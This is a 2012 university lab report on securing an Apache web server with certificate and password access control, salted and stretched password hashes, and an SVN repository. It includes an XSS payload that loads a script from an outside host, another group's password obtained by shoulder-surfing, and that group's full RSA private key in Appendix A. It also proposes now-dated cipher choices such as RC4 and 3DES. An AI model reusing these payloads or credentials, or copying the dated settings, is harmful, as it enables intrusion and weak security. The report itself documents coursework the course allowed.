TTM4135
Securing an Apache Web Server
Group 42

Andreas Løve Selvik Neshahavan Karunakaran Odd Magnus Trondrud

March 11, 2012

1 Introduction

The objective of the lab was to set up, configure and attempt to properly secure an Apache HTTP Server[1] employing X.509-certificate and username/password based access restriction, a MySQL-database[2] to store users' credentials and Apache Subversion[3] for revision-control of the server's PHP- and HTML-pages. We were licensed as a CA by the staff and signed our own site's certificate. OpenSSL[4] was used to generate and sign certificate requests.

It is expected that the reader possesses an understanding of modern cryptography and web security.

2 Experimental Procedure

To verify the downloaded Apache files we retrieved the public key of the signature from MIT's servers, and obtained the public key from one William A. Rowe, Jr. We then verified the signature of the package using the pgp tool with this public key. Thereafter we found a listing of the people contributing to Apache and a fingerprint of their keys on [1] a site that Apache served over SSL. The X.509 certificate that the Apache server had sent us wasinspected, and the fingerprint of the retrieved public key and the listing on the website were compared.

We stored the result of the 1000th iteration of (1) along with the randomly generatered salt in the database for password validation.

$$\begin{aligned} H_1 &= HMAC(pwd + salt, key) \\ H_n &= HMAC\left(H_{n-1} + salt, key\right) \end{aligned} \tag{1}$$

Where the HMAC used SHA512, pwd is the user password, salt is the random user specific salt and key is a 64 character long random string stored in `~/secretstuff/hmac`. The salt is unique for every user, while the key is static. To validate a user the supplied password is run through the same algorithm, and checked against the result stored in the database.

In addition to requiring a valid user name and password, access to our SVN Repository was restricted through X.509 certificate validation in a similar manner as the `/restricted/` directory on our web server.

We used our CAC[5] to sign a CA CSR[6] with the common name "Staff CA"[7], which we used to generate a fake staff member certificate[8].

We obtained group 11's password (`"4I5X9xNs"`) by looking at the monitor of one of the group's members which allowed us to obtain their web server's certificate private key (see Appendix A). On the 2012-03-02 we defaced their `/htdocs/secure/admin/index.html` file, leaving them a taunting message and half their private key. The following Tuesday we asked them if they had been hacked, as they said they didn't know we showed them the defaced page.

3 Results

The fingerprint of William A. Rowe, Jr. listed in [1] did match the public key retrieved from MIT, and the package signature was comfirmed signed by this public key. The SSL certificate of [1] when we downloaded it had a valid signature from Thawte SSL CA, which is a root CA inherently trusted by our browser.

As the NTNU CA has the field "Maximum number of intermediate CAs" set to "3", our fake staff certificate had an invalid certificate hierarchy. It did not grant us access to any other groups' restricted area.

[1] https://httpd.apache.org/
[2] https://www.mysql.com
[3] https://subversion.apache.org/
[4] https://www.openssl.org/
[5] Certificate Authority Certificate
[6] Certificate Signing Request
[7] http://ttm4135.item.ntnu.no:8510/cacert.txt
[8] http://ttm4135.item.ntnu.no:8510/fakestaff.txt

While we did not find any security holes in our web site's X.509 certificate-based access restrictions, we have discovered PHP-related vulnerabilities on some of our site's pages.

Our extensive password hashing (see Discussion) gives log in delay of about 80ms, according to chrome extension Page load time[2]. We experienced the same delay on valid as invalid usernames. The data can be found in Appendix B.

Q5. ***What kind of malicious attacks is your web application (PHP) vulnerable to? Describe them briefly, and point out what countermeasures you have developed in your code to prevent such attacks.***

SQL-injection: This is a code-injection attack where an attacker supplies maliciously crafted strings through input-forms in order to execute arbitrary SQL. This can be used to log in without a valid user name/password or to view and modify the database. SQL-injections can be prevented by sanitizing all input from the client. We achieved this by using the php function:

```
mysqli_real_escape_string($database, $input);
```

Cross-site scripting (XSS): Similar to SQL-injection, this is another type of code-injection where the attacker submits client-side scripts as a value in a form on a site that is displayed to other users. Any visitor to a site that views this value will have the script executed in their browsers. This script could do any number of bad things, like stealing the users session cookies or redirecting them to another site.

Our `signup.php` page is vulnerable to XSS. We executed XSS succesfully by creating a user with the username `<script src=http://folk.ntnu.no/trondrud/ifs/xss.js></script>`. The `xss.js` script will executed for everyone who gets to see a list of all our usernames. The easiest fix for this would be to remove any non-alphanumeric characters from the user name value in the PHP code.

Brute force: A brute-force attack attempts every single character combination as the password. Dictionaries are often used. An online brute force attack could only guess about 10 passwords a second, as every log in takes about 90ms, see the discussion. We could've further secured our site by enforcing a limited amount of tries per hour.

Timing attack: Our login was at one point vulnerable to username probing as a failed login with a correct username took much longer than a failed login with an invalid username. This was solved by making sure the server did the same amount of work independent of username validity.

4 Discussion

4.1 Password Storage

Our password storage system is implemented to make it as hard as possible for someone with access to a dump of our database to reverse the password hashes. A unique random salt per user makes precomputation attacks infeasible as one table has to be computed for every user. Without this salt an attacker needs to hash every guess only once before comparing it to every password in the database.

A keyed hmac was used to add another component to the mix, the static key that is stored on our server. Note that a keyed hmac effectively works as adding another salt. It is however slower than a hash, since it involves hashing twice. With this key an attacker does not get enough information from a database dump, and will have to gain access to the somewhat secret salt aswell. The repeated hashing serves to make every password hash more computational heavy, which will slow down a brute force attack. This is a technique often referred to as *password stretching* [3]. It should be noted that we did all the stretching on our server, which does increase the server load, and that it would valueable to do stretching on the client side aswell, as it leaves an attacker with the options of either guessing a low-entropy password and stretch it, or guess the stretching result with a much higher entropy. See [3] for a detailed discussion on how much extra strength stretching provides and proof that you can't compute the stretched result faster than by doing the stretching yourself.

It is also important to perform the calculations of a password stretch, even if the username was invalid, otherwise the system leaks information by having a larger delay on valid username than invalid ones and an attacker could easily probe usernames and find valid ones. As mentioned in the results, our system is not vulnerable to this kind of timing attack.

4.2 The Group 11 Incident

Being in possession of another group's web server certificate's private key, we could have employed ARP-spoofing and set up a man-in-the-middle attack which could offer a valid certificate, as well as decrypting any communication to and from their servers provided we got the key negotiation part. We could also have modified or deleted anything in their project or database, since we were in possession of their `ssh`- and database password. We have no answer as to why we did not also copy their CA Certificate's private key

Q1. ***Comment on security related issues regarding the cryptographic algorithms used togenerate and sign your groups web server certificate (key length, algorithm, etc.).***

Our web server's certificate and our CA[9] uses PKCS #1[4] with a keylength of 2048 bits. While recent discoveries have shown that the randomness of RSA keys generated for the use in digital certificates was less random than what was assumed [5], the space of 2048 bit RSA keys should be sufficiently large to compensate for now. The keylength is also within the current recommended range (Table 5 in [6])[7]. However the computational complexity of finding a SHA-1 collision was shown to be low enough to be achieviable through a distributed computing effort in 2005 [8], and it is no longer recommended for use in digital signature generation (see Table 9 in [6]).

Q2. ***Explain what you have achieved through each of these verifications. What is the name of the person signing the Apache release?***

The release was signed by William A. Rowe, Jr. [1].

Through these verifications we have established that the files are identical to the files signed by someone with access to the private key which's public key's fingerprint is listed on a site that has the private key of the certificate for `www.apache.org` signed by Thawte SSL CA.

Q3. ***What are the access permissions to your web server's configuration files, server certificate and the corresponding private key? Comment on possible attacks to your web server due to inappropriate file permissions.***

Permissions for the various critical files on our server can be found in Appendix C.

Given inappropriate or poorly configured access permissions, other groups could read or change our critical files. Read access to our Apache configuration would immediately expose any flaws in our configuration. Write access would allow them to change our settings to give themselves (or anyone) access, however unless they have executable rights to `apachectl` they'll have to hope we don't notice the changes before restarting our server. Given write access to

Given read access to our private key they could set up a man in the middle attack or phishing site, this would also compromise our certificate beyond recovery as our private key would no longer be private.

Q4. ***Web servers offering weak cryptography are subject to several attacks. What kind of attacks are feasible? How did you configure your server to prevent such attacks?***

By "offering weak cryptography" we assume that you mean that there is at least one weak cipher allowed by the `SSLCipherSuite` setting.

If the SSL handshake is done with the SSLv2 protocol, the hello message, where the client lists it's ciphers, has no integrity check and a man in the middle can change it to force the server to choose a weak cipher, if it is enabled on the serverside. If an attacker manages to get the client and server to use a key with too few bits, he could record the communication and use an offline bruteforce attack over the keyspace. Breaking a 40-bit or even a 56-bit key is completly feasible today.

Note that SSL can provide a null-cipher which does not encrypt.

To combat this issue we set the SSLCipherSuite to

[9] Certificate Authority

```
SSLCipherSuite AES256-SHA:AES128-SHA:RC4-SHA:DES-CBC3-SHA:!MD5
```

Which should provide a wide range of algorithms, while excluding the worst. Also, as MD5 is considered weak/broken, we excluded any algorithm that uses it.

Q6. ***Describe the security measures you have undertaken to secure your repository, and how did that affect the security of your Web Application (Better? Worse?). Elaborate on the possible further measures, that can prevent certain types of attacks you found possible in the setting you created. Can you discover any vulnerabilities in the other groups' projects? If so, try to mount attacks on other groups!***

Access to our repository is restricted by X.509 certificate validation in addition to a simple user name/password scheme. The password was created using htpasswd with SHA-1 encryption. Assuming our certificate validation is configured properly, the repository should be harder to access than files in the restricted directory of our site. However it still offers another potential entry point for attackers (whether to sabotage or steal information), which in light of the recently uncovered vulnerability in a similar service[9] should not be taken lightly.

5 Conclusion

It becomes apparent that a more than reasonable level of security is attainable through the use of publicly available security measures. As the complexity of a system increases it becomes harder to be aware of all its weaknesses. Even the simplest systems could contain undiscovered flaws introduced through its underlying services.

The biggest security flaw was found to be groups' or individuals' poor personal password management capability, showing that the systems in this lab can be "broken" even without any internal flaws.

References

1. List of Apache Commiters: R, `https://people.apache.org/list_R.html`
2. Page load time (Google Chrome extension).
   `https://chrome.google.com/webstore/detail/fploionmjgeclbkemipmkogoaohcdbig?itemlang&q=load%20time`
3. John Kelsey, Bruce Schneier, Chris Hall, David Wagner. *Secure Applications of Low-Entropy Keys* `http://www.schneier.com/paper-low-entropy.pdf`
4. RFC 3447, *Public-Key Cryptography Standards (PKCS) #1: RSA Cryptography Specifications Version 2.1* `http://tools.ietf.org/html/rfc3447`
5. Arjen K. Lenstra, James P. Hughes, Maxime Augier, Joppe W. Bos, Thorsten Kleinjung, Christophe Wachter. *Ron was wrong, Whit is right.* `http://eprint.iacr.org/2012/064.pdf`
6. Elaine Barker, Allen Roginsky, *Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths.*
   `http://csrc.nist.gov/publications/nistpubs/800-131A/sp800-131A.pdf`
7. How large a key should be used in the RSA cryptosystem?
   `http://www.rsa.com/rsalabs/node.asp?id=2218`
8. SHA1 Collisions can be found in 2^{63} Operations. `https://www.rsa.com/rsalabs/node.asp?id=2927`
9. Public Key Security Vulnerability and Mitigation.
   `https://github.com/blog/1068-public-key-security-vulnerability-and-mitigation` March 4, 2012.

Appendices

Appendix A - Group 11's Web Server Certificate Private Key


```
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwpUKYE0iyntZummsgzhsNRO3YEK5CC3eQuteeeYr1/Pws6Qp
SPsMaGN5Rz8H6DWK5A4bMkFi/qgJyCWMxMuSibVk+kmh6iwtGgJy/iZQTr8We7Ym
eTWzLDJ7HwC7FaItbrhpNkqITepJ5MOp9JaiHaYwTAM/YlhsLYlJ8rh41+9SdSre
BvUHjIltF/FjyCj0xb2tVwAxXMuXxfDu7QOyKJym/l1gUQVlEorIbzHN8c9R6pX3
6cbevfxGpC3OvAD5nQMnptHPhm00D2a9NaoFhM0u7ca+hledSeV8wvFBcONJEIfw
8kNsD6CeCLvVAYaK5viAgEzSXnrrEgsGe3LQpQIDAQABAoIBAExic5tQTIsOFzA9
kZJFkPzZC5CHQNm8H9dHTGQv/iAdS+1JUUer/bfw7MgSL0lx018pRnXZA0KStpxS
WUtb2t+iTMyQITarNt1R/tBUPAxdqTbRT5MfiIGeI4UNJWQdsRYY4HyGj7F+epmK
UeqJQ4S+G5GLaNNzgKvzjArzbcTeJ4nPxrZYEd3l+/rgc7M/m3J3uhDICUBkP+XA
MKyaQYZ/LYDMsQFV0oQcijcEqiF5aZF6ibjzVsE9acjg1W7Uipz9NfMMwdLf940U
TF63GWXxpIAGAUvl0yfg3PZGmo+42URG7BHYyBuiBJrlgxEHe6s1fmn2PJPYuBJ2
CDJ6v2ECgYEA7J4QTVxecgPDSyZt3FhlKFnjH8BlBrfjBZ3ITHc1uqmsz21LSgda
J9cVw5uoL4EgmvokvOQtL824wi5f0aOJONr1lUuL/gP5l0jfVjNmDk+FpWTCDOFW
u1e9z4dBEOobjEIE4woPuT5vJcaYglRSjqksgHZu2RT8OaVuWOyDxM0CgYEAOoV8
S4c0t69nX7flMuEKMT2KrxjUPjuTddPQ9xy/P57Z/Y71jPLmrQImnVL/GDmANHUn
IHjP2PvxsW8kOkuatw+R+bic0/iWb3W4p09J57HUxauU8fJPCMvQo9u3+4ayUF0I
cvfOV379YsGBRGwAQ9HC3oUwVG8feDZUjJjD+zkCgYEAiZrOvj6mikXX8D9UCp25
joLfzBpWZlbQhvaggp+dNoXwgtz7uPyXmK3D8XL3l1DQBnDMqBLc+Hz6IqtXfBJP
/imQQpehvULQhwORJo9TnaTvgyUamOT/TIoVT7hHxa9v/9xw/Rxf0ooVl3FsRfcF
4ANQZxD5G/PRp5Y+myZI500CgYA9LWdqd3cdbg6nZURo3bbdilnT+m4rS5rVoeFW
/nahYWNN6Q54kFnyqu5Xx7ez7XnRRL5DFHiqQMUC4B5yBmiGjDLKlBiXDOWCrH4l
uMfsWeRQMUWObfEDyF7wTziPEpyc9/wtlM/U42V1HnCXVp9ZFgsAKUpbLxPBFmDJ
ntdNGQKBgGTZIfWF8XDDs75R68H4OVA8sCXorHYZP5f7vv1aljOS4lD2KTbbeTeS
Snrc5hvk75HUVFIl0rBxMAiInCvNz9Tjul9q32R0k/n2kOuEwiWKvmQy5YuTe9G3
lJK5I+Vyh3ukXL7UkIwx/U33sAaG0khLTneOIspyUpRI5d08h5ZI
-----END RSA PRIVATE KEY-----
```

Appendix B - Load times

Correct username (ms)	Incorrect username (ms)
89	98
87	92
88	87
88	92
94	87
90	87
94	87
87	87
89	87
87	88
91	88
87	99

Average delay with correct username (ms)	Average delay with incorrect username (ms)
89.25	89.92

Appendix C - File Permissions Table

For information regarding Linux file permissions, see `http://www.tuxfiles.org/linuxhelp/filepermissions.html`

File	Permissions	Contents
`~/apache/conf/group.conf`	`-rw-------`	HTTP, SVN HTTPS access configuration, SSL settings
`~/apache/conf/httpd.conf`	`-rw-------`	Apache configuration file
`~/apache/servercert/server_key.pem`	`-r--------`	Our web server's private key
`~/ca/private/cakey.pem`	`-r--------`	Gr42 CA Private Key
`~/apache/servercert/server_cert.pem`	`-rw-r--r--`	Our web server's certificate
`~/apache/bin/apachectl`	`-rwx------`	see [0]
`~/subversion/repopass/svn-auth-file`	`-rw-------`	SVN Repo user names and passwords
`~/secretstuff/hmackey`	`-r--------`	key used in password stretching

[0]: https://httpd.apache.org/docs/2.0/programs/apachectl.html